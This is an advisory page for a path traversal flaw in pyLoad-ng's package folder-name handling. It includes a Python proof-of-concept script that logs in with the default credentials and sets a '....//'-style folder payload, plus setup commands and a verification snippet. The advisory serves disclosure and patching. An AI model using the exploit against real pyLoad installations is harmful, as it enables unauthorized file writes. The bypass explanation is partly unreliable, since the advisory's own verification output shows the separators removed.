GHSA-97r3-5w84-r4q8

Suggest an improvement
Source
https://github.com/advisories/GHSA-97r3-5w84-r4q8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-97r3-5w84-r4q8/GHSA-97r3-5w84-r4q8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-97r3-5w84-r4q8
Aliases
Published
2026-05-05T21:13:08Z
Modified
2026-06-08T20:00:11Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N CVSS Calculator
Summary
PyLoad Vulnerable to Path Traversal via Package Folder Name
Details

Insufficient sanitization of package folder names allows writing files outside the intended download directory.

Affected Component

  • src/pyload/core/api/__init__.py
  • Function: add_package()

Description

Package folder names are sanitized using insufficient string replacement:

folder = (
    folder.replace("http://", "")
    .replace("https://", "")
    .replace("../", "_")  # Bypassable!
    .replace("..\\", "_")
    .replace(":", "")
    .replace("/", "_")
    .replace("\\", "_")
)

The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.

Proof of Concept

Setup

pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload

Exploit

#!/usr/bin/env python3
import requests

BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"

session = requests.Session()

# Login
session.post(f"{BASE_URL}/login", data={
    "username": USERNAME,
    "password": PASSWORD
})

# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"

resp = session.post(f"{BASE_URL}/api/add_package", json={
    "name": "test_package",
    "links": ["http://example.com/file.txt"],
    "dest": 1  # Destination.QUEUE
})

package_id = resp.json()
print(f"Created package: {package_id}")

# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
    "package_id": package_id,
    "data": {"folder": folder_payload}
})

print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")

# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print("    The sanitized folder still contains '..' sequences that OS resolves")

Verification

Check where files would be written:

import os

download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"

# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil

# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil

# The .. sequences remain and could be resolved by OS during file operations

Impact

Authenticated users with ADD permission can:

  • Write files outside the download directory
  • Potentially overwrite system files (depending on permissions)
  • Clutter system directories with downloaded content
Database specific 
{
    "cwe_ids":  [
        "CWE-22"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-05-05T21:13:08Z",
    "nvd_published_at":  "2026-05-11T18:16:35Z",
    "severity":  "MODERATE"
}
References

Affected packages

PyPI / pyload-ng

Package

Name
pyload-ng
View open source insights on deps.dev
Purl
pkg:pypi/pyload-ng

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.5.0b3.dev100

Affected versions

0.*
0.5.0a5.dev528
0.5.0a5.dev532
0.5.0a5.dev535
0.5.0a5.dev536
0.5.0a5.dev537
0.5.0a5.dev539
0.5.0a5.dev540
0.5.0a5.dev545
0.5.0a5.dev562
0.5.0a5.dev564
0.5.0a5.dev565
0.5.0a6.dev570
0.5.0a6.dev578
0.5.0a6.dev587
0.5.0a7.dev596
0.5.0a8.dev602
0.5.0a9.dev615
0.5.0a9.dev629
0.5.0a9.dev632
0.5.0a9.dev641
0.5.0a9.dev643
0.5.0a9.dev655
0.5.0a9.dev806
0.5.0b1.dev1
0.5.0b1.dev2
0.5.0b1.dev3
0.5.0b1.dev4
0.5.0b1.dev5
0.5.0b2.dev9
0.5.0b2.dev10
0.5.0b2.dev11
0.5.0b2.dev12
0.5.0b3.dev13
0.5.0b3.dev14
0.5.0b3.dev17
0.5.0b3.dev18
0.5.0b3.dev19
0.5.0b3.dev20
0.5.0b3.dev21
0.5.0b3.dev22
0.5.0b3.dev24
0.5.0b3.dev26
0.5.0b3.dev27
0.5.0b3.dev28
0.5.0b3.dev29
0.5.0b3.dev30
0.5.0b3.dev31
0.5.0b3.dev32
0.5.0b3.dev33
0.5.0b3.dev34
0.5.0b3.dev35
0.5.0b3.dev38
0.5.0b3.dev39
0.5.0b3.dev40
0.5.0b3.dev41
0.5.0b3.dev42
0.5.0b3.dev43
0.5.0b3.dev44
0.5.0b3.dev45
0.5.0b3.dev46
0.5.0b3.dev47
0.5.0b3.dev48
0.5.0b3.dev49
0.5.0b3.dev50
0.5.0b3.dev51
0.5.0b3.dev52
0.5.0b3.dev53
0.5.0b3.dev54
0.5.0b3.dev57
0.5.0b3.dev60
0.5.0b3.dev62
0.5.0b3.dev64
0.5.0b3.dev65
0.5.0b3.dev66
0.5.0b3.dev67
0.5.0b3.dev68
0.5.0b3.dev69
0.5.0b3.dev70
0.5.0b3.dev71
0.5.0b3.dev72
0.5.0b3.dev73
0.5.0b3.dev74
0.5.0b3.dev75
0.5.0b3.dev76
0.5.0b3.dev77
0.5.0b3.dev78
0.5.0b3.dev79
0.5.0b3.dev80
0.5.0b3.dev81
0.5.0b3.dev82
0.5.0b3.dev85
0.5.0b3.dev87
0.5.0b3.dev88
0.5.0b3.dev89
0.5.0b3.dev90
0.5.0b3.dev91
0.5.0b3.dev92
0.5.0b3.dev93
0.5.0b3.dev94
0.5.0b3.dev95
0.5.0b3.dev96
0.5.0b3.dev97
0.5.0b3.dev98
0.5.0b3.dev99

Database specific

last_known_affected_version_range 
"<= 0.5.0b3.dev79"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-97r3-5w84-r4q8/GHSA-97r3-5w84-r4q8.json"